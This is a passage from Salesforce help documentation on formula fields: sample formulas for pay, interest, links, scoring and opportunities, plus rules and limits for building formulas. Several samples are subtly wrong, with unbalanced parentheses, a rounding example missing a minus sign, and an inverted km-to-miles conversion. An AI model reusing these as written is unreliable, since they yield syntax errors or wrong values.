For details about using this function, see MIN on page 1147. Employee 401K This example formula determines which amount to provide in employee 401K matching based on a matching program of half of the employee's contribution or $250, whichever is less. It assumes you have custom currency field for Contribution.
MIN(250, Contribution__c /2)

For details about using this function, see MIN on page 1147. Hours Worked Per Week This formula uses a custom tab to enable time tracking of hours worked per day. It uses a formula field to sum the hours per week.
MonHours__c + TuesHours__c + WedsHours__c + ThursHours__c + FriHours__c

For details about using this operator, see + (Add) on page 1112. Total Pay Amount This formula determines total pay by calculating regular hours multiplied by a regular pay rate, plus overtime hours multiplied by an overtime pay rate.
Total Pay = IF(Total_Hours__c <= 40, Total_Hours__c * Hourly_Rate__c, 40 * Hourly_Rate__c + (Total_Hours__c - 40) * Overtime_Rate__c)

For details about using this function, see IF on page 1131.

Expense Tracking
Expense Identifier This formula displays the text Expense- followed by trip name and the expense number. This is a text formula field that uses an expense number custom field.
"Expense-" & Trip_Name__c & "-" & ExpenseNum__c

For details about using this operator, see - (Subtract) on page 1113.

1040

Customize

About Formulas

Mileage Calculation This formula calculates mileage expenses for visiting a customer site at 35 cents a mile.
Miles_Driven__c * 0.35

For details about using this operator, see * (Multiply) on page 1113.

Financial Calculations
Compound Interest This formula calculates the interest, you will have after T years, compounded M times per year.
Principal__c * ( 1 + Rate__c / M ) ^ ( T * M) )

For details about using these operators, see * (Multiply) on page 1113, / (Divide) on page 1113, and ^ (Exponentiation) on page 1114. Compound Interest Continuous This formula calculates the interest that will have accumulated after T years, if continuously compounded.
Principal__c * EXP(Rate__c * T)

For details about using this function, see EXP on page 1125. Consultant Cost This formula calculates the number of consulting days times 1200 given that this formula field is a currency data type and consulting charges a rate of $1200 per day. Note that Consulting Days is a custom field on opportunities.
Consulting_Days__c * 1200

For details about using this operator, see * (Multiply) on page 1113. Gross Margin This formula provides a simple calculation of gross margin. In this formula example, Total Sales and Cost of Goods Sold are custom currency fields.
Total_Sales__c - Cost_of_Goods_Sold__c

For details about using this operator, see - (Subtract) on page 1113. Gross Margin Percent This formula calculates the gross margin based on a margin percent.
Margin_percent__c * Items_Sold__c * Price_item__c

For details about using this operator, see * (Multiply) on page 1113.

1041

Customize

About Formulas

Payment Due Indicator This formula returns the date five days after the contract start date whenever Payment Due Date is blank. Payment Due Date is a custom date field on contracts.
(BLANKVALUE(Payment_Due_Date__c, StartDate +5)

For details about using this function, see BLANKVALUE on page 1119. Payment Status This formula determines if the payment due date is past and the payment status is UNPAID. If so, it returns the text PAYMENT OVERDUE and if not, it leaves the field blank. This example uses a custom date field called Payment Due Date and a text custom field called Payment Status on contracts.
IF( AND(Payment_Due_Date__c < TODAY(), ISPICKVAL(Payment_Status__c, "UNPAID")), "PAYMENT OVERDUE", null )

For details about using these functions, see IF on page 1131, AND on page 1118, TODAY on page 1157, and ISPICKVAL on page 1140.

Image Links
Yahoo! Instant Messenger Image This formula displays an image that indicates whether a contact or user is currently logged in to Yahoo! Instant Messenger. Clicking the image launches the Yahoo! Instant Messenger window. This formula uses a custom text field called Yahoo Name to store the contact or users Yahoo! ID.
IF(ISBLANK(Yahoo_Name__c),"", HYPERLINK("ymsgr:sendIM?" & Yahoo_Name__c, IMAGE("http://opi.yahoo.com/online?u=" & Yahoo_Name__c & "&m=g&t=0", " ")))

For details about using these functions, see IF on page 1131, LEN on page 1142, HYPERLINK on page 1129, and IMAGE on page 1132. Skype Me Auto Dialer Button This formula displays an image that looks like a push button. Clicking the button automatically dials the specified phone number.
HYPERLINK("callto://" & "+1" & Phone, IMAGE("http://goodies.skype.com/graphics/skypeme_btn_small_blue.gif", "Click to Skype"))

For details about using these functions, see HYPERLINK on page 1129 and IMAGE on page 1132.

1042

Customize

About Formulas

Flags for Case Priority This formula displays a green, yellow, or red flag image to indicate case priority.
IMAGE( CASE( Priority, "Low", "/img/samples/flag_green.gif", "Medium", "/img/samples/flag_yellow.gif", "High", "/img/samples/flag_red.gif", "/s.gif"), "Priority Flag")

For details about using this function, see IMAGE on page 1132. Color Squares for Case Age This formula displays a 30 x 30 pixel image of a red, yellow, or green, depending on the value of a Case Age custom text field.
IF( Case_Age__c > 20, IMAGE("/img/samples/color_red.gif", "red", 30, 30), IF( Case_Age__c > 10, IMAGE("/img/samples/color_yellow.gif", "yellow", 30, 30), IMAGE("/img/samples/color_green.gif", "green", 30, 30), ))

For details about using these functions, see IF on page 1131 and IMAGE on page 1132. Traffic Lights for Status This formula displays a green, yellow, or red traffic light images to indicate status, using a custom picklist field called Project Status. Use this formula in list views and reports to create a Status Summary dashboard view.
IMAGE( CASE(Project_Status__c, "Green", "/img/samples/light_green.gif", "Yellow", "/img/samples/light_yellow.gif", "Red", "/img/samples/light_red.gif", "/s.gif"), "status color")

For details about using these functions, see IMAGE on page 1132 and CASE on page 1120. Stars for Ratings This formula displays a set of one to five stars to indicate a rating or score.
IMAGE( CASE(Rating__c, "1", "/img/samples/stars_100.gif", "2", "/img/samples/stars_200.gif", "3", "/img/samples/stars_300.gif", "4", "/img/samples/stars_400.gif", "5", "/img/samples/stars_500.gif", "/img/samples/stars_000.gif"), "rating")

For details about using these functions, see IMAGE on page 1132 and CASE on page 1120.

1043

Customize

About Formulas

Consumer Reports-Style Colored Circles for Ratings This formula displays a colored circle to indicate a rating on a scale of one to five, where solid red is one, half red is two, black outline is three, half black is four, and solid black is five.
IMAGE( CASE(Rating__c, "1", "/img/samples/rating1.gif", "2", "/img/samples/rating2.gif", "3", "/img/samples/rating3.gif", "4", "/img/samples/rating4.gif", "5", "/img/samples/rating5.gif", "/s.gif"), "rating")

For details about using these functions, see IMAGE on page 1132 and CASE on page 1120. Horizontal Bars to Indicate Scoring This formula displays a horizontal color bar (green on a white background) of a length that is proportional to a numeric score. In this example, the maximum length of the bar is 200 pixels.
IMAGE("/img/samples/color_green.gif", "green", 15, Industry_Score__c * 2) & IMAGE("/s.gif", "white", 15, 200 - (Industry_Score__c * 2))

For details about using this function, see IMAGE on page 1132.

Integration Links
Application API Link This formula creates a link to an application outside Salesforce, passing the parameters so that it can connect to Salesforce via the Web services API and create the necessary event.
HYPERLINK ("https://www.myintegration.com?sId=" & GETSESSIONID() & "?&rowID=" & Name & "action=CreateTask","Create a Meeting Request")

For details about using these functions, see HYPERLINK on page 1129 and GETSESSIONID on page 1129. Shipment Tracking Integration This formula creates a link to FedEx, UPS, or DHL shipment tracking websites, depending on the value of a Shipping Method custom picklist field. Note that the parameters shown in this example for FedEx, UPS, and DHL websites are illustrative and do not represent the correct parameters for all situations.
CASE(Shipping_Method__c, "Fedex", HYPERLINK("http://www.fedex.com/Tracking?ascend_header=1&clienttype =dotcom&cntry_code=us&language=english&tracknumbers= "& tracking_id__c,"Track"), "UPS", HYPERLINK("http://wwwapps.ups.com/WebTracking/processInputRequest?HTMLVersion =5.0&sort_by=status&loc=en_US&InquiryNumber1= "& tracking_id__c & "&track.x=32&track.y=7", "Track") , "DHL", HYPERLINK("http://track.dhl-usa.com/TrackByNbr.asp?ShipmentNumber=" & tracking_id__c,"Track"), "")

1044

Customize

About Formulas

For details about using these functions, see CASE on page 1120 and HYPERLINK on page 1129. Skype Auto Dialer Integration This formula creates a linkable phone number field that automatically dials the phone number via the Skype VOIP phone application. It requires installation of the Skype application (a third-party product not provided by salesforce.com) on your desktop.
HYPERLINK("callto://+" & Country_Code__c & Phone_Unformatted__c, Phone)

For details about using this function, see HYPERLINK on page 1129.

Lead Management
Lead Aging (for open leads) This formula checks to see if a lead is open and if so, calculates the number of days it has been open by subtracting the date and time created from the current date and time. The result is the number of days open rounded to zero decimal places. If the lead is not open, this field is blank.
IF(ISPICKVAL(Status, "Open"), ROUND(NOW()-CreatedDate, 0), null)

For details about using these functions, see IF on page 1131, ISPICKVAL on page 1140, ROUND on page 1154, and NOW on page 1149. Lead Data Completeness This formula calculates the percent of certain lead fields that your sales personnel enter. The formula field checks the values of two custom number fields: Phone and Email. If the fields are empty, the formula returns the value 0. The formula returns a value of 1 for each field that contains a value and multiplies this total by fifty to give you the percentage of fields that contain data.
(IF(Phone = "", 0, 1) + IF(Email = "", 0, 1) ) * 50

For details about using this function, see IF on page 1131. Lead Numbering This formula returns a number value for the text value in the auto-number field Lead Number. This can be useful if you want to use the Lead Number field in a calculation, such as round-robin or other routing purposes. Note that auto-number fields are text fields and must be converted to a number for numeric calculations.
VALUE(Lead_Number__c)

For details about using this function, see VALUE on page 1161.

1045

Customize

About Formulas

Round Robin Assignment of Cases or Leads The following formula example for leads assumes you have three lead queues and you want to assign an equal number of incoming leads to each queue. You can also assign cases using a similar formula.
MOD(VALUE(Lead_Number__c), 3)

This formula is for a custom formula field named Round_Robin_ID that assigns each lead a value of 0, 1, or 2. This formula uses a custom auto-number field called Lead Number that assigns each lead a unique number starting with 1. The MOD function divides the lead number by the number of lead queues available (three in this example) and returns a remainder of 0, 1, or 2. Use the value of this formula field in your lead assignment rules to assign lead records to different queues. For example: Round_Robin_ID = 0 is assigned to Queue A Round_Robin_ID = 1 is assigned to Queue B Round_Robin_ID = 2 is assigned to Queue C

For details about using these functions, see MOD on page 1148 and VALUE on page 1161.

Metrics
Temperature Conversion This formula converts Celsius degrees to Fahrenheit.
1.8 * degrees_celsius__c + 32

For details about using these operators, see * (Multiply) on page 1113 and + (Add) on page 1112. Unit of Measure Conversion This formula converts kilometers to miles.
Miles__c/.621371192

For details about using this operator, see / (Divide) on page 1113.

Opportunity Management
Days Left to Close This formula returns the expected number of days left to the close date of an opportunity.
Expected_close_date__c -TODAY()

For details about using this function, see TODAY on page 1157.

1046

Customize

About Formulas

Display Close Month for Reporting Purposes This formula returns the month in text for the close date of an opportunity. Use this example when building a custom report that groups opportunities by the month of the Close Date.
CASE( MONTH(CloseDate), 1, "January", 2, "February", 3, "March", 4, "April", 5, "May", 6, "June", 7, "July", 8, "August", 9, "September", 10, "October", 11, "November", 12, "December", "Invalid month")

For details about using these functions, see CASE on page 1120 and MONTH on page 1148. Expected Product Revenue This formula calculates total revenue from multiple products, each with a different probability of closing.
ProductA_probability__c * ProductA_revenue__c + ProductB_probability__c * ProductB_revenue__c

For details about using these operators, see * (Multiply) on page 1113 and + (Add) on page 1112. Maintenance Calculation This formula calculates maintenance fees as 20% of license fees per year. Maintenance Years is a custom field on opportunities.
Amount * Maint_Years__c * 0.2

For details about using this operator, see * (Multiply) on page 1113. Monthly Subscription-Based Calculated Amounts This formula calculates an opportunity amount based on a monthly subscription rate multiplied by the subscription period.
Monthly_Amount__c * Subscription_Months__c

For details about using this operator, see * (Multiply) on page 1113. Monthly Value This formula divides total yearly value by 12 months.
Total_value__c / 12

For details about using this operator, see / (Divide) on page 1113.

1047

Customize

About Formulas

Opportunity Additional Costs This formula calculates the sum of the opportunity Amount, maintenance amount, and services fees. Note that Maint amount and Service Fees are custom currency fields on opportunities.
Amount + Maint_Amount__c + Services_Amount__c

For details about using this operator, see + (Add) on page 1112. Opportunity Categorization This formula uses conditional logic to populate an Opportunity category text field, based on the value of the Amount standard field. Opportunities with amounts less than $1500 are Category 1, those between $1500 and $10000 are Category 2, and the rest are Category 3. This example uses nested IF statements.
IF(Amount < 1500, "Category 1", IF(Amount > 10000, "Category 3", "Category 2"))

For details about using this function, see IF on page 1131. Opportunity Data Completeness This formula takes a group of opportunity fields and calculates what percent of them are being used by your sales personnel. This formula field checks five fields to see if they are blank. If so, a zero is counted for that field. A 1 is counted for any field that contains a value and this total is divided by five (the number of fields evaluated). Note that this formula requires you select the Treat blank fields as blanks option under Blank Field Handling while the Advanced Formula subtab is showing.
(IF(ISBLANK(Maint_Amount__c), 0, 1) + IF(ISBLANK(Services_Amount__c), 0,1) + IF(ISBLANK(Discount_Percent__c), 0, 1) + IF(ISBLANK(Amount), 0, 1) + IF(ISBLANK(Timeline__c), 0, 1)) / 5

For details about using this function, see ISBLANK on page 1135. Opportunity Expected License Revenue This formula calculates expected revenue for licenses based on probability of closing.
Expected_rev_licenses__c * Probability

For details about using this operator, see * (Multiply) on page 1113. Opportunity Reminder Date This formula creates reminder date based on seven days before the close date of an opportunity. Use this formula field in a workflow rule to create an event for the appropriate user to take action.
Reminder Date = CloseDate - 7

For details about using these operators, see = and == (Equal) on page 1115 and - (Subtract) on page 1113.

1048

Customize

About Formulas

Opportunity Revenue Text Display This formula returns the expected revenue amount of an opportunity in text format without a dollar sign. For example, if the Expected Revenue of a campaign is $200,000, this formula field displays 200000.
TEXT(ExpectedRevenue)

For details about using this function, see TEXT on page 1156. Opportunity Split Credit for Sales Representatives This formula splits opportunity amount between multiple sales representatives. The total reps custom field indicates the total number of representatives on the deal.
Amount / total_reps__c

For details about using this operator, see / (Divide) on page 1113. Opportunity Total Deal Size This formula calculates the sum of maintenance and services amounts.
Amount + Maint_Amount__c + Services_Amount__c

For details about using this operator, see + (Add) on page 1112. Opportunity Total Price Based on Units This formula generates proposal pricing based on unit price and total volume.
Unit_price__c * Volume__c * 20

For details about using this operator, see * (Multiply) on page 1113. Professional Services Calculation This formula estimates professional service fees at an average loaded rate of $1200 per day. Consulting Days is a custom field on opportunities.
Consulting_Days__c * 1200

For details about using this operator, see * (Multiply) on page 1113. Stage-Based Sales Document Selection This formula Identifies a relevant document in the Documents tab based on opportunity Stage. Use document IDs in the form of 00l30000000j7AO.
CASE(StageName, "Prospecting", "Insert 1st Document ID", "Qualification", "Insert 2nd Document ID", "Needs Analysis", "Insert 3rd Document ID", "Value Proposition", ) )

1049

Customize

About Formulas

For details about using this function, see CASE on page 1120. Sales Coach This formula creates a hyperlink that opens a stage-specific document stored in the Documents tab. It uses the previously defined custom formula field that identifies a document based on opportunity Stage. See Stage-Based Sales Document Selection on page 1049.
HYPERLINK("/servlet/servlet.FileDownload?file=" & Relevant_Document__c, "View Document in New Window")

For details about using this function, see HYPERLINK on page 1129. Shipping Cost by Weight This formula calculates postal charges based on weight.
package_weight__c * cost_lb__c

For details about using this operator, see * (Multiply) on page 1113. Shipping Cost Percentage This formula calculates shipping cost as a fraction of total amount.
Ship_cost__c / total_amount__c

For details about using this operator, see / (Divide) on page 1113. Tiered Commission Rates This formula calculates the 2% commission amount of an opportunity that has a probability of 100%. All other opportunities will have a commission value of zero.
IF(Probability = 1, ROUND(Amount * 0.02, 2), 0)

For details about using these functions, see IF on page 1131 and ROUND on page 1154. Total Contract Value from Recurring and Non-Recurring Revenue This formula calculates both recurring and non-recurring revenue streams over the lifetime of a contract.
Non_Recurring_Revenue__c + Contract_Length_Months__c * Recurring_Revenue__c

For details about using these operators, see + (Add) on page 1112 and * (Multiply) on page 1113.

1050

Customize

About Formulas

Pricing
Total Amount This formula calculates a total amount based on unit pricing and total units.
Unit_price__c * Total_units__c

For details about using this operator, see * (Multiply) on page 1113. User Pricing This formula calculates a price per user license.
Total_license_rev__c / Number_user_licenses__c

For details about using this operator, see / (Divide) on page 1113.

Project Management
Calculate Intermediate Milestone from End Date This formula calculates intermediate milestone dates by subtracting days from the end date (for projects that are planned based on end date).
Release_Date__c - 7 * Phase_duration_in_weeks__c

For details about using this operator, see * (Multiply) on page 1113.

Scoring Calculations
Lead Scoring This formula scores leads, providing a higher score for phone calls than website requests.
CASE(LeadSource, "Phone", 2, "Web", 1, 0)

Here's a formula that scores a lead based on his or her rating:


CASE(1, IF(ISPICKVAL(Rating, "Hot"), 1, 0), 3, IF(ISPICKVAL(Rating, "Warm"), 1, 0), 2, IF(ISPICKVAL(Rating, "Cold"), 1, 0), 1))

For details about using this function, see CASE on page 1120. Customer Success Scoring This formula uses a simple scoring algorithm to rank customers a high score for positive survey results in Salesforce.
Survey_Question_1__c * 5 + Survey_Question_2__c *2

For details about using these operators, see* (Multiply) on page 1113 and + (Add) on page 1112.

1051

Customize

About Formulas

Using Formulas in Salesforce


Many areas in Salesforce use formulas. Before you begin using formulas, review the differences between the following uses for formulas: Approval Processes Defines the criteria a record must match to enter an approval process Approval Steps Defines the criteria a record must match to enter a step in an approval process Assignment Rules for Leads and Cases Specifies conditions that a lead or case must match for it to be assigned Auto-Response Rules for Leads and Cases Defines the criteria a lead or case must match to trigger an auto-response rule Case Escalation Rules Specifies conditions that a case must match for it to be escalated Default Field Values Automatically inserts a value in a custom field when a record is first created Users can change a default value if they wish. Default field values can be based on a formula using values, merge fields, or expressions you specify. Formula Fields Automatically calculates the value of a custom field using the values, merge fields, or expressions you specify Users cannot change the value of a formula field. Validation Rules Prevents users from entering an invalid value in a standard or custom field Validation rules can be based on formulas and display an error message to the user when the value they enter is not valid for that field. Workflow Rules Defines the criteria a record must meet to trigger a workflow rule Field Updates Automatically changes the value of a field to a value you specify You can set field updates to occur as a result of a workflow rule or an approval process. Custom Summary Formulas in Reports Automatically calculates additional totals based on existing report summaries using the values, merge fields, or expressions you specify Users cannot change these totals.

1052

Customize

Building Formulas

Default Field Values

Formula Fields Validation Rules

Workflow Rules and Approval Processes Record save Not applicable Yes

Field Updates

Custom Summary Formulas for Reports

When are they executed? Read only? Can include functions?

Record creation Record display No Yes Yes Yes

Record save Not applicable Yes

Workflow or Report display approval process Not applicable Yes Yes Yes, a limited subset of functions Yes No

Can specify null No handling? Can include references to parent merge fields? No

Yes Yes

No Yes

No Yes

No Yes

See Also:
Defining Default Field Values Building Formulas Defining Field Updates Building Custom Summary Formulas

Building Formulas
Available in: All Editions

User Permissions Needed To view formula field details: To create, change, or delete formula fields: View Setup and Configuration Customize Application

Your custom formula fields require special attributes. To build your formula: 1. Begin building a formula field the same way you create a custom field. See Creating Custom Fields on page 981. 2. Select the data type for the formula. Choose the appropriate data type for your formula based on the output of your calculation. See Choosing a Formula Data Type on page 1022. 3. Choose the number of decimal places for currency, number, or percent data types. This setting is ignored for currency fields in multicurrency organizations. Instead, the Decimal Places for your currency setting apply.

1053

Customize

Building Formulas

Note: Salesforce uses the round half up tie-breaking rule for numbers in formula fields. For example, 12.345 becomes 12.35 and 12.345 becomes 12.34. 4. Click Next. 5. Build your formula: a. If you are building a formula in the Advanced Formula tab or for approvals or rules, such as workflow, validation, assignment, auto-response, or escalation, click Insert Field, choose a field, and click Insert. To create a basic formula that passes specific Salesforce data, select the Simple Formula tab, choose the field type in the Select Field Type drop-down list, and choose one of the fields listed in the Insert Field drop-down list. Tip: Build cross-object formulas to span to related objects and reference merge fields on those objects.

b. To insert an operator, choose the appropriate operator icon from the Insert Operator drop-down list. Use the examples in Operators and Functions on page 1107. c. Optionally, click the Advanced Formula tab to use functions and view additional operators and merge fields. Functions are prebuilt formulas that you can customize with your input parameters. For a description of each operator and function, see Operators and Functions on page 1107. d. To insert a function, double-click its name in the list, or select it and click Insert Selected Function. To filter the list of functions, choose a category from the Functions drop-down list. Select a function and click Help on this function to view a description and examples of formulas using that function. e. Consider adding comments to your formula, especially if it is complicated. Comments must begin with a forward slash followed by and asterisk (/*), and conclude with an asterisk followed by a forward slash (*/). Comments are useful for explaining specific parts of a formula to administrators viewing the formula definition. For example:
AND( /*competitor field is required, check to see if field is empty */ LEN(Competitor__c) = 0, /* rule only enforced for ABCD record types */ $RecordType.Name = "ABCD Opportunity", /* checking for any closed status, such as closed won and closed lostallows for additional closed picklist values in the future */ CONTAINS(TEXT(StageName), "Closed") )

You can also use comments to comment out sections of your formula when debugging and checking the syntax to locate errors in the formula. Note: Nesting comments causes a syntax error. For example, you cannot save a formula that has the following:
/* /* comment */ */

Commenting out a whole formula causes a syntax error. Comments count against the character and byte size limits in formulas.

1054

Customize

Building Formulas

Note: Formula fields can contain up to 3,900 characters, including spaces, return characters, and comments. If your formula requires more characters, create separate formula fields and reference them in another formula field. The maximum number of displayed characters after an evaluation of a formula expression is 1,300 characters. 6. Click Check Syntax to check your formula for errors. 7. Optionally, enter a description of the formula in the Description box. 8. If your formula references any number, currency, or percent fields, choose an option for handling blank fields. To give any blank fields a zero value, choose Treat blank fields as zeros. To leave these fields blank, choose Treat blank fields as blanks. 9. Click Next. 10. In Enterprise, Unlimited, and Developer Editions, set the field-level security to determine whether the field should be visible for specific profiles, and click Next. 11. Choose the page layouts that should display the field. The field is added as the last field in the first two-column section on the page layout. For user custom fields, the field is automatically added to the bottom of the user detail page. 12. Click Save to finish or Save & New to create more custom fields. Note: Because formula fields are automatically calculated, they are read-only on record detail pages and do not update last modified date fields. Formula fields are not visible on edit pages. In account formulas, all business account fields are available as merge fields. However, account fields exclusive to person accounts such as Birthdate and Email are not available. For more information, see What is a Person Account? on page 61. Formulas on Activities that use standard fields shouldn't be placed on both the Task and Event pages. This is because both Tasks and Events are considered Activities. For instance, if a formula is used on a standard field only available for Tasks, it will also mistakenly be pulled into Events.

See Also:
About Formulas Operators and Functions Elements of a Formula Formulas: How Do I... Tips on Building Formulas Fixing Formula Errors Building Custom Summary Formulas Understanding Global Variables Quick Reference Guide: Formula Fields

Tips on Building Formulas


Default value formulas for a type of record can only reference fields for that type of record. However, formula fields and formulas for approvals or rules, such as workflow, validation, assignment, auto-response, or escalation, for a type of record can reference fields for that type of record as well as any records that are related through a lookup or master-detail relationship. For example, a formula for a validation rule on opportunities can reference merge fields for accounts and campaigns as well as opportunities, and a formula field on accounts can reference fields for cases.

1055

Customize

Building Formulas

Formula fields that a user can see may reference fields that are hidden or read only using field-level security. If the formula field contains sensitive information, use field-level security to hide it. See Field-Level Security Overview on page 622. The following limits apply to formula fields: Character limitFormula fields can contain up to 3,900 characters, including spaces, return characters, and comments. If your formula requires more characters, create separate formula fields and reference them in another formula field. Note: The maximum number of displayed characters after an evaluation of a formula expression is 1,300 characters. Save size limitFormula fields cannot exceed 4,000 bytes when saved. The save size differs from the number of characters if you use multi-byte characters in your formula. Compile size limitFormula fields cannot exceed 5,000 bytes when compiled. The compile size is the size of the formula (in bytes) including all of the fields, values, and formulas it references. There is no direct correlation between the compile size and the character. Some functions, such as TEXT, DATEVALUE, DATETIMEVALUE, and DATE significantly increase the compile size.

Long text area, encrypted, and Description fields are not available for use in formulas. The value of a field cannot depend on another formula that references it. Fields referenced in formulas cannot be deleted. Remove the field from the formula before deleting it. Task Due Date is not available for use in formulas. Campaign statistic fields cannot be referenced in formulas for field updates, approval processes, workflow rules, or validation rules, but can be referenced in custom formula fields. For more information, see Campaign Fields on page 2558. You can add activity formula fields to task and event page layouts. Note that a task-related formula field on an event page layout may not be useful. Likewise, event-related formula fields on task page layouts may not be useful. Use the IsTask merge field to determine if a record is a task or event. For example, the following formula displays text indicating if the record is a task or event:
IF(IsTask, "This is a task", "This is an event")

To reference the unique identifier for your Salesforce organization in a formula, insert the $Organization.Id merge field. This merge field can display anywhere formula fields can except inreports. Some merge fields display as radio buttons but function like picklist fields when referenced in a formula. Use the values Read, Edit, and None when referencing the following merge fields in a formula: $UserRole.CaseAccessForAccountOwner $UserRole.OpportunityAccessForAccountOwner CaseAccessLevel (on Territory) OpportunityAccessLevel (on Territory)

Use the values Read, Edit, and All when referencing the following merge fields in a formula: AccountAccessLevel (on Territory) If you create a contacts formula field that references account merge fields, that field can be included in contact page layouts but should not be included in person accounts page layouts. The formula field will display a value of #Error on the person accounts page.

1056

Customize

Building Formulas

Working with Date and Date/Time Fields Dates and times are always calculated using the users time zone. Date and date/time fields cannot be used interchangeably. The name alone may not indicate if a field is a date or date/time. For example, Created Date and Last Modified Date are date/time fields whereas Last Activity Date is a date field. Use the DATEVALUE function to convert a date/time field into a date field. Note: In email templates, the Created Date and Last Modified Date fields display only the date, not the date and time. Use addition and subtraction operators with date or date/time fields to calculate duration. For example, subtract a date from another date to calculate the number of days between the two. Likewise, you can subtract the date/time from another date/time to get the number of days between the two in the form of a number. See NOW on page 1149 or TODAY on page 1157 for suggested use. Use addition and subtraction operators with numbers to return another date or date/time. For example, {!CreatedDate} + 5 calculates the date and time five days after a records created date. Note that the expression returns the same data type as the one given; a date field plus or minus a number returns a date, and a date/time field plus or minus a number returns a date/time. When calculating dates using fractions, Salesforce ignores any numbers beyond the decimal. For example:
TODAY() + 0.7 is the same as TODAY() + 0, which is todays date TODAY() + 1.7 is the same asTODAY() + 1, which is tomorrows date TODAY() + (-1.8) is the same as TODAY() + (-1), which is yesterdays date

To calculate the value of two fractions first, group them within parentheses. For example:
TODAY() + 0.5 + 0.5 is the same as TODAY() + 0 + 0, which is todays date TODAY() + (0.5+0.5) is the same as TODAY() + 1, which is tomorrows date

Years cannot be zero and must be between -4713 and 9999.

Working with Text Fields Before using the HYPERLINK function, consider the differences between hyperlinks and custom links. Hyperlink formula fields are just like other custom fields that you can display in list views and reports. Custom links display on detail pages in a predefined section; hyperlink formula fields can display on a detail page wherever you specify. Using custom links, you can specify display properties such as window position and opening in a separate popup position; hyperlink formula fields open in a new browser window by default or you can specify a different target window or frame. Your formulas can reference custom links. Before deleting a custom link, make sure it is not referenced in a formula field. Hyperlink formula fields that contain relative URLs to Salesforce pages, such as /rpt/reportwizard.jsp, can be added to list views, reports, and related lists. However, use a complete URL, including the server name and https://, in your hyperlink formula before adding it to a search layout. Note that formula fields are not available in search result layouts. To insert text in your formula field, surround the text with quotation marks. For example, to display CASE: 123, use this formula "CASE: "& CaseNumber__c. Use the backslash (\) character before a quote or backslash to insert it as a literal value in your output. For example, "Trouble\\Case \"Ticket\": " in your formula displays Trouble\Case "Ticket": on detail pages.

1057

Customize

Building Formulas

Working with Number Fields Use the decimal version of a percent when working with percent fields in formulas. For example, IF(Probability =1...) for 100% probability or IF(Probability =0.9...) for 90% probability. Reference auto-number fields as text fields in formulas. The output of your formula must be less than 19 digits. See Fixing Formula Errors on page 1060. Formulas can contain a mix of numbers, percents, and currencies as in this example: AnnualRevenue / NumberOfEmployees. Salesforce uses the round half up tie-breaking rule for numbers in formula fields. For example, 12.345 becomes 12.35 and 12.345 becomes 12.34.

Working with Cross-Object Formulas Cross-object formulas that reference currency fields convert the value to the currency of the record that contains the formula. Salesforce allows a maximum of ten unique relationships per object in cross-object formulas. The limit is cumulative across all formula fields, rules, and lookup filters. For example, if two different formulas on opportunities reference two different fields of an associated account, only one unique relationship exists (from opportunities to accounts). You cannot reference cross-object formulas in roll-up summary fields. In cross-object formulas, you cannot reference merge fields for objects related to activities. For example, merge fields for contacts and accounts are not available in task and event formulas. In cross-object formulas, you cannot reference record owner merge fields for any object. For example, the opportunity owner's Role merge field is not available in opportunity formulas. Do not use the $RecordType global variable in cross-object formulas. The $RecordType variable only resolves to the record containing the formula, not the record to which the formula spans.

Referencing Record Types in Formulas Reference record types in formulas if you want different workflow rules, validation rules, and lookup filters to apply to different record types. For example, you can: Create a workflow rule on accounts that emails different teams depending on the account record type the user selects when creating the account. Create a validation rule on opportunities that allows only members of the North American sales team to save opportunities with the Domestic record type.

When referencing a record type in a formula, use RecordType.Id instead of RecordType.Name. If you use RecordType.Name and the record type name changes, your formula will break. The record type ID never changes. Using RecordType.Id can make your formula less readable, so use inline comments to make your formula readable. Do not use the $RecordType global variable in cross-object formulas. The $RecordType variable only resolves to the record containing the formula, not the record to which the formula spans. Working with Picklists and Multi-Select Picklists You can use special picklist fields in your formulas, such as IsEscalated for cases and IsWon for opportunities. Picklist fields can only be used in the following functions: ISPICKVALCompares the value of a picklist to a single value. CASECompares the value of a picklist to multiple values. TEXTConverts a picklist value into a text value so that you can work with the value in functions that support text value, such as CONTAINS. (Only available in formula fields, validation rules, and workflow field updates.) The TEXT function always returns picklist values in your organization's master language, not the language of the current user.

1058

Customize

Building Formulas

Multi-select picklist fields can only be used in the following functions: INCLUDES ISBLANK ISNULL ISCHANGED (Only in assignment rules, validation rules, workflow field updates, and workflow rules in which the trigger type is set to Every time a record is created or edited) PRIORVALUE (Only in assignment rules, validation rules, workflow field updates, and workflow rules in which the trigger type is set to Every time a record is created or edited)

See Also:
Building Formulas Fixing Formula Errors

What are Cross-Object Formulas?


Available in: All Editions

User Permissions Needed To create or change cross-object formulas: Customize Application

Cross-object formulas are formulas that span to related objects and reference merge fields on those objects. Cross-object formulas can reference merge fields from a master (parent) object if an object is on the detail side of a master-detail relationship, or from another object if a lookup relationship to that object exists on the current object. You can reference fields from objects that are up to ten relationships away. Cross-object formulas are available anywhere formulas are used except when creating default values. To create a cross-object formula when building a formula in the Simple Formula tab, enter the relationship names of the objects to which you are spanning followed by the field you want to reference. Separate the relationship names of each object and the field with periods. For example, enter Contact.Account.Name to reference the Account Name for a contact associated with a case in a formula field on the Case object. Be sure to use the relationship names of the objects, not the labels. Although the relationship name is often the same as the object name, it is technically the field name of the relationship field. For example, to reference the parent account name from Account object, the syntax is Parent.Name, not Account.Name. Also, when referencing a custom object, add two underscores and the letter r to its name. For example, Position__r.title__c references the Job Title field (title__c) on a Position custom object. To create a cross-object formula when building a formula in the Advanced Formula tab or for approvals or rules, such as workflow, validation, assignment, auto-response, or escalation rules, click Insert, then click the related object to list its fields. Related objects are denoted by a > sign. Note: The value of the Profile.Name merge field differs depending on the context of the cross-object formula field that references it. On detail pages, the value is the profile name, as expected; however, in list views and reports, the

1059

Customize

Building Formulas

value is the internal value of the associated profile instead. If you use Profile.Name in a formula, use it within an OR function to ensure the formula always returns the intended result. For example:
IF (OR (LastModifiedBy.Profile.Name = "Standard User", LastModifiedBy.Profile.Name = "PT2"), "Standard", "Not Standard")

None of the above applies to profile names referenced by the $Profile global variable.

See Also:
Building Formulas Operators and Functions

Fixing Formula Errors


Available in: All Editions

User Permissions Needed To view formula field details: To create, change, or delete formula fields: View Setup and Configuration Customize Application

#Error! displays for a formula field whenever an error occurs while calculating the value of a formula. To resolve the error, check your formula: Is the formula dividing by zero? If so, check if the denominator of your expression is zero and provide an alternative value. For example, the following campaign formula field is blank if the number of opportunities is zero:
IF(NumberOfOpportunities > 0, NumberOfWonOpportunities / NumberOfOpportunities, null)

